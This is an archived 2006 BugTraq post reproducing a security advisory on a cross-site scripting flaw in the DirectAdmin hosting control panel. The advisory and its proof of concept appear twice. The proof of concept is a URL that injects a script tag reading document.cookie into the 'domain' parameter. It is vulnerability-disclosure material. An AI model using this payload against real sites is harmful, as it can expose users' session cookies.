BugTraq
Back to list
|
Post reply
XSS Attack On DirectAdmin Hosting Managment
Apr 27 2006 04:29AM
outlaw aria-security net
#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''
#Aria-Security.net Advisory
#Discovered by: O.U.T.L.A.W
#Outlaw (at) aria-security (dot) net [email concealed]
#Gr33t to:A.u.r.a & R@1D3N & Cl0wn & Dtrap
#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''
? Software: DirectAdmin
? Support Website: http://www.Directadmin.com
? advisory:http://www.aria-security.net/advisory/hm/directadmin.txt
? Summary: DirectAdmin Is A Hosting Managment System
? Tested On: http://www.directadmin.com/demo.html
? Proof of Concept:
LOCAL XSS attack:
http://www.directadmin.com:2222/HTM_PASSWD?domain=".><script>alert(docum
ent.cookie)</script><!--
?Solution:
?contact advisory (at) aria-security (dot) net [email concealed]
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
''''''''''''''''''''''''''''''''''''''''''''
#Aria-Security.net Advisory
#Discovered by: O.U.T.L.A.W
#Outlaw (at) aria-security (dot) net [email concealed]
#Gr33t to:A.u.r.a & R@1D3N & Cl0wn & Dtrap
#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''
? Software: DirectAdmin
? Support Website: http://www.Directadmin.com
? advisory:http://www.aria-security.net/advisory/hm/directadmin.txt
? Summary: DirectAdmin Is A Hosting Managment System
? Tested On: http://www.directadmin.com/demo.html
? Proof of Concept:
LOCAL XSS attack:
http://www.directadmin.com:2222/HTM_PASSWD?domain=".><script>alert(docum
ent.cookie)</script><!--
?Solution:
?contact advisory (at) aria-security (dot) net [email concealed]
[ reply ]